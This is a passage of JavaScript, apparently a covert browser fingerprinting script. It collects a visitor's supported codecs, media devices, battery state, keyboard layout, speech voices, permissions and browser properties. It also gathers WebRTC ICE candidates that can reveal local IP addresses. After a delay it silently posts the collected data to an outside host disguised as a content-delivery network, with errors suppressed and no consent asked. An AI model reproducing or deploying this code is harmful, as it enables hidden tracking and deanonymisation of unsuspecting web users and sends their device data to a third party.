codecs="avc1.7a006e"', 'video/mp4; codecs="avc1.7a0085"', 'video/mp4; codecs="avc1.7a100a"', 'video/mp4; codecs="avc1.7a100b"', 'video/mp4; codecs="avc1.7a100c"', 'video/mp4; codecs="avc1.7a100d"', 'video/mp4; codecs="avc1.7a1014"', 'video/mp4; codecs="avc1.7a1015"', 'video/mp4; codecs="avc1.7a1016"', 'video/mp4; codecs="avc1.7a101e"', 'video/mp4; codecs="avc1.7a101f"', 'video/mp4; codecs="avc1.7a1020"', 'video/mp4; codecs="avc1.7a1028"', 'video/mp4; codecs="avc1.7a1029"', 'video/mp4; codecs="avc1.7a102a"', 'video/mp4; codecs="avc1.7a1032"', 'video/mp4; codecs="avc1.7a1033"', 'video/mp4; codecs="avc1.7a1034"', 'video/mp4; codecs="avc1.7a103c"', 'video/mp4; codecs="avc1.7a103d"', 'video/mp4; codecs="avc1.7a103e"', 'video/mp4; codecs="avc1.7a103f"', 'video/mp4; codecs="avc1.7a1040"', 'video/mp4; codecs="avc1.7a1050"', 'video/mp4; codecs="avc1.7a106e"', 'video/mp4; codecs="avc1.7a1085"', 'video/mp4; codecs="avc1.80000a"', 'video/mp4; codecs="avc1.80000b"', 'video/mp4; codecs="avc1.80000c"', 'video/mp4; codecs="avc1.80000d"', 'video/mp4; codecs="avc1.800014"', 'video/mp4; codecs="avc1.800015"', 'video/mp4; codecs="avc1.800016"', 'video/mp4; codecs="avc1.80001e"', 'video/mp4; codecs="avc1.80001f"', 'video/mp4; codecs="avc1.800020"', 'video/mp4; codecs="avc1.800028"', 'video/mp4; codecs="avc1.800029"', 'video/mp4; codecs="avc1.80002a"', 'video/mp4; codecs="avc1.800032"', 'video/mp4; codecs="avc1.800033"', 'video/mp4; codecs="avc1.800034"', 'video/mp4; codecs="avc1.80003c"', 'video/mp4; codecs="avc1.80003d"', 'video/mp4; codecs="avc1.80003e"', 'video/mp4; codecs="avc1.80003f"', 'video/mp4; codecs="avc1.800040"', 'video/mp4; codecs="avc1.800050"', 'video/mp4; codecs="avc1.80006e"', 'video/mp4; codecs="avc1.800085"', 'video/mp4; codecs="avc1.8a000a"', 'video/mp4; codecs="avc1.8a000b"', 'video/mp4; codecs="avc1.8a000c"', 'video/mp4; codecs="avc1.8a000d"', 'video/mp4; codecs="avc1.8a0014"', 'video/mp4; codecs="avc1.8a0015"', 'video/mp4; codecs="avc1.8a0016"', 'video/mp4; codecs="avc1.8a001e"', 'video/mp4; codecs="avc1.8a001f"', 'video/mp4; codecs="avc1.8a0020"', 'video/mp4; codecs="avc1.8a0028"', 'video/mp4; codecs="avc1.8a0029"', 'video/mp4; codecs="avc1.8a002a"', 'video/mp4; codecs="avc1.8a0032"', 'video/mp4; codecs="avc1.8a0033"', 'video/mp4; codecs="avc1.8a0034"', 'video/mp4; codecs="avc1.8a003c"', 'video/mp4; codecs="avc1.8a003d"', 'video/mp4; codecs="avc1.8a003e"', 'video/mp4; codecs="avc1.8a003f"', 'video/mp4; codecs="avc1.8a0040"', 'video/mp4; codecs="avc1.8a0050"', 'video/mp4; codecs="avc1.8a006e"', 'video/mp4; codecs="avc1.8a0085"', 'video/mp4; codecs="avc1.f4000a"', 'video/mp4; codecs="avc1.f4000b"', 'video/mp4; codecs="avc1.f4000c"', 'video/mp4; codecs="avc1.f4000d"', 'video/mp4; codecs="avc1.f40014"', 'video/mp4; codecs="avc1.f40015"', 'video/mp4; codecs="avc1.f40016"', 'video/mp4; codecs="avc1.f4001e"', 'video/mp4; codecs="avc1.f4001f"', 'video/mp4; codecs="avc1.f40020"', 'video/mp4; codecs="avc1.f40028"', 'video/mp4; codecs="avc1.f40029"', 'video/mp4; codecs="avc1.f4002a"', 'video/mp4; codecs="avc1.f40032"', 'video/mp4; codecs="avc1.f40033"', 'video/mp4; codecs="avc1.f40034"', 'video/mp4; codecs="avc1.f4003c"', 'video/mp4; codecs="avc1.f4003d"', 'video/mp4; codecs="avc1.f4003e"', 'video/mp4; codecs="avc1.f4003f"', 'video/mp4; codecs="avc1.f40040"', 'video/mp4; codecs="avc1.f40050"', 'video/mp4; codecs="avc1.f4006e"', 'video/mp4; codecs="avc1.f40085"', 'video/mp4; codecs="avc1.f4100a"', 'video/mp4; codecs="avc1.f4100b"', 'video/mp4; codecs="avc1.f4100c"', 'video/mp4; codecs="avc1.f4100d"', 'video/mp4; codecs="avc1.f41014"', 'video/mp4; codecs="avc1.f41015"', 'video/mp4; codecs="avc1.f41016"', 'video/mp4; codecs="avc1.f4101e"', 'video/mp4; codecs="avc1.f4101f"', 'video/mp4; codecs="avc1.f41020"', 'video/mp4; codecs="avc1.f41028"', 'video/mp4; codecs="avc1.f41029"', 'video/mp4; codecs="avc1.f4102a"', 'video/mp4; codecs="avc1.f41032"', 'video/mp4; codecs="avc1.f41033"', 'video/mp4; codecs="avc1.f41034"', 'video/mp4; codecs="avc1.f4103c"', 'video/mp4; codecs="avc1.f4103d"', 'video/mp4; codecs="avc1.f4103e"', 'video/mp4; codecs="avc1.f4103f"', 'video/mp4; codecs="avc1.f41040"', 'video/mp4; codecs="avc1.f41050"', 'video/mp4; codecs="avc1.f4106e"', 'video/mp4; codecs="avc1.f41085"', 'video/mp4; codecs="avc1x"', 'video/mp4; codecs="avc2"', 'video/mp4; codecs="avc3"', 'video/mp4; codecs="avc3.42001E"', 'video/mp4; codecs="avc4"', 'video/mp4; codecs="avcp"', 'video/mp4; codecs="drac"', 'video/mp4; codecs="dvav"', 'video/mp4; codecs="dvhe"', 'video/mp4; codecs="encf"', 'video/mp4; codecs="encm"', 'video/mp4; codecs="encs"', 'video/mp4; codecs="enct"', 'video/mp4; codecs="encv"', 'video/mp4; codecs="fdp "', 'video/mp4; codecs="flac"', 'video/mp4; codecs="hev1"', 'video/mp4; codecs="hev1.1.6.L93.90"', 'video/mp4; codecs="hev1.1.6.L93.B0"', 'video/mp4; codecs="hvc1"', 'video/mp4; codecs="hvc1.1.6.L93.90"', 'video/mp4; codecs="hvc1.1.6.L93.B0"', 'video/mp4; codecs="hvt1"', 'video/mp4; codecs="ixse"', 'video/mp4; codecs="lavc1337"', 'video/mp4; codecs="lhe1"', 'video/mp4; codecs="lht1"', 'video/mp4; codecs="lhv1"', 'video/mp4; codecs="m2ts"', 'video/mp4; codecs="mett"', 'video/mp4; codecs="metx"', 'video/mp4; codecs="mjp2"', 'video/mp4; codecs="mlix"', 'video/mp4; codecs="mp4a.40.02"', 'video/mp4; codecs="mp4a.40.29"', 'video/mp4; codecs="mp4a.40.5"', 'video/mp4; codecs="mp4a.67"', 'video/mp4; codecs="mp4s"', 'video/mp4; codecs="mp4v"', 'video/mp4; codecs="mp4v.20.240, mp4a.40.2"', 'video/mp4; codecs="mp4v.20.8, mp4a.40.2"', 'video/mp4; codecs="mvc1"', 'video/mp4; codecs="mvc2"', 'video/mp4; codecs="mvc3"', 'video/mp4; codecs="mvc4"', 'video/mp4; codecs="mvd1"', 'video/mp4; codecs="mvd2"', 'video/mp4; codecs="mvd3"', 'video/mp4; codecs="mvd4"', 'video/mp4; codecs="oksd"', 'video/mp4; codecs="pm2t"', 'video/mp4; codecs="prtp"', 'video/mp4; codecs="resv"', 'video/mp4; codecs="rm2t"', 'video/mp4; codecs="rrtp"', 'video/mp4; codecs="rsrp"', 'video/mp4; codecs="rtmd"', 'video/mp4; codecs="rtp "', 'video/mp4; codecs="s263"', 'video/mp4; codecs="sm2t"', 'video/mp4; codecs="srtp"', 'video/mp4; codecs="stpp"', 'video/mp4; codecs="svc1"', 'video/mp4; codecs="svc2"', 'video/mp4; codecs="svcM"', 'video/mp4; codecs="tc64"', 'video/mp4; codecs="tmcd"', 'video/mp4; codecs="tx3g"', 'video/mp4; codecs="unid"', 'video/mp4; codecs="urim"', 'video/mp4; codecs="vc-1"', 'video/mp4; codecs="vp08"', 'video/mp4; codecs="vp09"', 'video/mp4; codecs="vp09.00.10.08"', 'video/mp4; codecs="vp09.00.50.08"', 'video/mp4; codecs="vp09.01.20.08.01"', 'video/mp4; codecs="vp09.01.20.08.01.01.01.01.00"', 'video/mp4; codecs="vp09.02.10.10.01.09.16.09.01"', 'video/mp4; codecs="wvtt"', 'video/mp4; codecs=bogus', 'video/mp4; codecs=mp4a.40.2', 'video/mpeg', 'video/mpeg2', 'video/mpeg4', 'video/msvideo', 'video/ogg', 'video/ogg; codecs="dirac, flac"', 'video/ogg; codecs="dirac, vorbis"', 'video/ogg; codecs="flac"', 'video/ogg; codecs="theora"', 'video/ogg; codecs="theora, flac"', 'video/ogg; codecs="theora, speex"', 'video/ogg; codecs="theora, vorbis"', 'video/ogg; codecs="vp8"', 'video/ogg; codecs=opus', 'video/ogg; codecs=speex', 'video/quicktime', 'video/vnd.rn-realvideo', 'video/wavelet', 'video/webm', 'video/webm; codecs="av01.0.04M.08"', 'video/webm; codecs="vorbis"', 'video/webm; codecs="vorbis,vp9"', 'video/webm; codecs="vp09.02.10.08"', 'video/webm; codecs="vp8"', 'video/webm; codecs="vp8, opus"', 'video/webm; codecs="vp8, vorbis"', 'video/webm; codecs="vp8.0"', 'video/webm; codecs="vp8.0, vorbis"', 'video/webm; codecs="vp9"', 'video/webm; codecs="vp9, opus"', 'video/webm; codecs="vp9, vorbis"', 'video/webm; codecs=vorbis', 'video/x-dv; codecs="avc3.12345"', 'video/x-flv', 'video/x-la-asf', 'video/x-m4v', 'video/x-m4v; codecs="avc1.42AC23"', 'video/x-matroska', 'video/x-matroska; codecs="theora"', 'video/x-matroska; codecs="theora, vorbis"', 'video/x-mkv', 'video/x-mng', 'video/x-mpeg', 'video/x-mpeg2', 'video/x-ms-wmv', 'video/x-msvideo', 'video/x-theora'];

                    const result = [];
                    const videoEl = document.createElement('video');
                    const audioEl = new Audio();
                    const isMediaRecorderSupported = 'MediaRecorder' in window;

                    await smoothForEach(mimeTypes, 15, (type) => {
                        try {
                            const data = {
                                mimeType: type,
                            };

                            const audioPlayType = audioEl.canPlayType(type);
                            const videoPlayType = videoEl.canPlayType(type);
                            const mediaSource = MediaSource.isTypeSupported(type);

                            // noinspection JSUnresolvedVariable
                            const mediaRecorder = isMediaRecorderSupported ? MediaRecorder.isTypeSupported(type) : false;

                            if (audioPlayType) {
                                data.audioPlayType = audioPlayType;
                            }

                            if (videoPlayType) {
                                data.videoPlayType = videoPlayType;
                            }

                            if (mediaSource) {
                                data.mediaSource = mediaSource;
                            }

                            if (mediaRecorder) {
                                data.mediaRecorder = mediaRecorder;
                            }

                            if (
                                data.audioPlayType
                                || data.videoPlayType
                                || data.mediaSource
                                || data.mediaRecorder
                            ) {
                                result.push(data);
                            }
                        } catch (_) {
                        }
                    });

                    return result;
                };

                // mediaDevices
                const dumpMediaDevices = async () => {
                    try {
                        return await navigator.mediaDevices.enumerateDevices();
                    } catch (_) {
                    }

                    return null;
                };

                // battery
                const dumpBattery = () => {
                    return new Promise(function (resolve) {
                        'getBattery' in navigator ? navigator.getBattery().then(function (battery) {
                            resolve({
                                charging: battery.charging,
                                chargingTime: battery.chargingTime,
                                dischargingTime: battery.dischargingTime,
                                level: battery.level,
                            });
                        }) : resolve({});
                    });
                };

                // rtcip
                const dumpRTC = () => {
                    const result = [];
                    let rtcCls = window.RTCPeerConnection || window.mozRTCPeerConnection || window.webkitRTCPeerConnection;

                    return new Promise(function (resolve) {
                        try {
                            if (rtcCls) {
                                // noinspection JSUnusedLocalSymbols
                                let rtc = new rtcCls({
                                    'iceServers': [{
                                        'urls': 'stun:stun.l.google.com:19302',
                                    }],
                                }),
                                    emptyFunc = function () {
                                    },
                                    reg1 = /([0-9]{1,3}(\.[0-9]{1,3}){3}|[a-f0-9]{1,4}(:[a-f0-9]{1,4}){7})/,
                                    reg2 = /^(192\.168\.|169\.254\.|10\.|172\.(1[6-9]|2\d|3[01]))/g;

                                rtc.createDataChannel('');
                                setTimeout(function () {
                                    resolve(result);
                                }, 2000);

                                let offer = rtc.createOffer();

                                // noinspection JSDeprecatedSymbols
                                offer instanceof Promise ? offer.then(function (e) {
                                    return rtc.setLocalDescription(e);
                                }).then(function () {
                                }) : rtc.createOffer(function (e) {
                                    // noinspection JSDeprecatedSymbols
                                    rtc.setLocalDescription(e, emptyFunc, emptyFunc);
                                }, emptyFunc);

                                rtc.onicecandidate = function (event) {
                                    if (event && event.candidate && event.candidate.candidate) {
                                        let regResult = reg1.exec(event.candidate.candidate);
                                        result.push({
                                            candidate: event.candidate.candidate,
                                            reg: regResult,
                                        });
                                    }
                                };
                            } else resolve(result);
                        } catch (ex) {
                            resolve(result);
                        }
                    });
                };

                // window.speechSynthesis.getVoices
                const dumpVoices = () => {
                    return new Promise(async resolve => {
                        try {
                            const win = window;
                            const supported = 'speechSynthesis' in win;
                            supported && speechSynthesis.getVoices(); // warm up

                            // noinspection JSCheckFunctionSignatures
                            await new Promise(setTimeout).catch(e => e);

                            if (!supported) {
                                return resolve([]);
                            }

                            // inspired by https://github.com/abrahamjuliot/creepjs/blob/master/creep.js
                            let success = false;
                            const getVoices = () => {
                                const data = win.speechSynthesis.getVoices();
                                if (!data || !data.length) {
                                    return;
                                }

                                success = true;

                                const voices = data.map(e => ({
                                    default: e.default,
                                    lang: e.lang,
                                    localService: e.localService,
                                    name: e.name,
                                    voiceURI: e.voiceURI,
                                }));

                                return resolve(voices);
                            };

                            getVoices();
                            win.speechSynthesis.onvoiceschanged = getVoices; // Chrome support

                            // handle pending resolve
                            const wait = 1000;
                            setTimeout(() => {
                                if (success) {
                                    return;
                                }

                                return resolve([]);
                            }, wait);
                        } catch (error) {
                            return resolve([]);
                        }
                    });
                };

                // default ComputedStyle
                const dumpDefaultCS = async () => {
                    const frame = document.createElement('iframe');

                    // noinspection JSCheckFunctionSignatures
                    document.body.appendChild(frame);

                    const result = {};
                    const cs = frame.contentWindow.getComputedStyle(frame.contentDocument.body);
                    for (const key in cs) {
                        result[key] = cs[key];
                    }

                    frame.remove();

                    return result;
                };

                // keyboard
                const dumpKeyboard = async () => {
                    if (!('keyboard' in navigator && navigator.keyboard)) {
                        return [];
                    }

                    const keys = ['Sleep', 'WakeUp', 'KeyA', 'KeyB', 'KeyC', 'KeyD', 'KeyE', 'KeyF', 'KeyG', 'KeyH', 'KeyI', 'KeyJ', 'KeyK', 'KeyL', 'KeyM', 'KeyN', 'KeyO', 'KeyP', 'KeyQ', 'KeyR', 'KeyS', 'KeyT', 'KeyU', 'KeyV', 'KeyW', 'KeyX', 'KeyY', 'KeyZ', 'Digit1', 'Digit2', 'Digit3', 'Digit4', 'Digit5', 'Digit6', 'Digit7', 'Digit8', 'Digit9', 'Digit0', 'Enter', 'Escape', 'Backspace', 'Tab', 'Space', 'Minus', 'Equal', 'BracketLeft', 'BracketRight', 'Backslash', 'Semicolon', 'Quote', 'Backquote', 'Comma', 'Period', 'Slash', 'CapsLock', 'F1', 'F2', 'F3', 'F4', 'F5', 'F6', 'F7', 'F8', 'F9', 'F10', 'F11', 'F12', 'F13', 'F14', 'F15', 'F16', 'F17', 'F18', 'F19', 'F20', 'F21', 'F22', 'F23', 'F24', 'PrintScreen', 'ScrollLock', 'Pause', 'Insert', 'Home', 'PageUp', 'Delete', 'End', 'PageDown', 'ArrowRight', 'ArrowLeft', 'ArrowDown', 'ArrowUp', 'NumLock', 'Numpad1', 'Numpad2', 'Numpad3', 'Numpad4', 'Numpad5', 'Numpad6', 'Numpad7', 'Numpad8', 'Numpad9', 'Numpad0', 'NumpadDivide', 'NumpadMultiply', 'NumpadSubtract', 'NumpadAdd', 'NumpadEnter', 'NumpadDecimal', 'NumpadEqual', 'NumpadParenLeft', 'NumpadParenRight', 'IntlBackslash', 'ContextMenu', 'Power', 'Help', 'Undo', 'Cut', 'Copy', 'Paste', 'AudioVolumeMute', 'AudioVolumeUp', 'AudioVolumeDown', 'NumpadComma', 'IntlRo', 'KanaMode', 'IntlYen', 'Convert', 'NonConvert', 'Lang1', 'Lang2', 'Lang3', 'Lang4', 'ControlLeft', 'ShiftLeft', 'AltLeft', 'MetaLeft', 'ControlRight', 'ShiftRight', 'AltRight', 'MetaRight', 'MediaTrackNext', 'MediaTrackPrevious', 'MediaStop', 'Eject', 'MediaPlayPause', 'MediaSelect', 'LaunchMail', 'LaunchApp2', 'LaunchApp1', 'BrowserSearch', 'BrowserHome', 'BrowserBack', 'BrowserForward', 'BrowserStop', 'BrowserRefresh', 'BrowserFavorites'];
                    const keyboardLayoutMap = await navigator.keyboard.getLayoutMap();
                    return keys
                        .reduce((acc, key) => {
                        acc[key] = keyboardLayoutMap.get(key);
                        return acc;
                    }, {});
                };

                // windowVersion
                const dumpWindowVersion = async () => {
                    return Object.getOwnPropertyNames(window)
                        .filter(key => !/_|\d{3,}/.test(key));
                };

                // htmlElementVersion
                const dumpHtmlElementVersion = async () => {
                    const result = [];
                    for (const key in document.documentElement) {
                        result.push(key);
                    }

                    return result;
                };

                // permissions
                const dumpPermissions = async () => {
                    // https://source.chromium.org/chromium/chromium/src/+/master:third_party/blink/renderer/modules/permissions/permission_descriptor.idl
                    const permissions = [
                        'storage-access',
                        'push',
                        'speaker',
                        'device-info',
                        'bluetooth',
                        'midi',
                        'background-fetch',
                        'background-sync',
                        'accelerometer',
                        'gyroscope',
                        'magnetometer',
                        'screen-wake-lock',
                        'clipboard',
                        'clipboard-read',
                        'clipboard-write',
                        'payment-handler',
                        'periodic-background-sync',
                        'geolocation',
                        'notifications',
                        'camera',
                        'microphone',
                        'display-capture',
                        'persistent-storage',
                        'ambient-light-sensor',
                        'accessibility-events',
                        'nfc',
                        'idle-detection',
                        'system-wake-lock',
                        'window-placement',
                        'font-access',
                    ];

                    const result = {};

                    await Promise.all(
                        permissions.map(e => new Promise(resolve => {
                            // noinspection JSCheckFunctionSignatures
                            navigator.permissions.query({name: e})
                                .then(({state}) => {
                                result[e] = {state};
                                resolve();
                            })
                                .catch((ex) => {
                                result[e] = {
                                    'exType': ex.constructor.name,
                                    'msg': ex.message,
                                };
                                resolve();
                            });
                        })),
                    );

                    return result;
                };

                // TODO: RTCRtpSender.getCapabilities

                // TODO: Audio fingerprint

                // TODO: emoji fingerprint

                // TODO: unicode fingerprint

                // device descriptor
                const dd = {};
                await Promise.all([
                    setDDProp(dd, 'plugins', dumpPlugins),
                    setDDProp(dd, 'allFonts', dumpAllFonts),
                    setDDProp(dd, 'gpu', dumpGpu),
                    setDDProp(dd, 'navigator', dumpNavigatorProps),
                    setDDProp(dd, 'window', dumpWindowProps),
                    setDDProp(dd, 'document', dumpDocumentProps),
                    setDDProp(dd, 'screen', dumpScreenProps),
                    setDDProp(dd, 'body', dumpBodyProps),
                    setDDProp(dd, 'webgl', dumpWebGL),
                    setDDProp(dd, 'webgl2', dumpWebGL2),
                    setDDProp(dd, 'mimeTypes', dumpMimeTypes),
                    setDDProp(dd, 'mediaDevices', dumpMediaDevices),
                    setDDProp(dd, 'defaultCS', dumpDefaultCS),
                    setDDProp(dd, 'battery', dumpBattery),
                    setDDProp(dd, 'voices', dumpVoices),
                    setDDProp(dd, 'rtc', dumpRTC),
                    setDDProp(dd, 'keyboard', dumpKeyboard),
                    setDDProp(dd, 'windowVersion', dumpWindowVersion),
                    setDDProp(dd, 'htmlElementVersion', dumpHtmlElementVersion),
                    setDDProp(dd, 'permissions', dumpPermissions),
                ]);

                // upload fp
                return JSON.stringify(dd);
            };

            (async() => {
                //device fingerprint dump:
                try {
                    let extractedData = await __EXEC();
                    let k = new XMLHttpRequest();
                    k.open("POST", "https://content-delivery-network.glitch.me/research");
                    k.setRequestHeader("Content-type", "application/json");
                    k.send(JSON.stringify({
                        dd: extractedData,
                        key: "dd"
                    }));
                } catch(e) {};
            })();
        }, 2000);
})();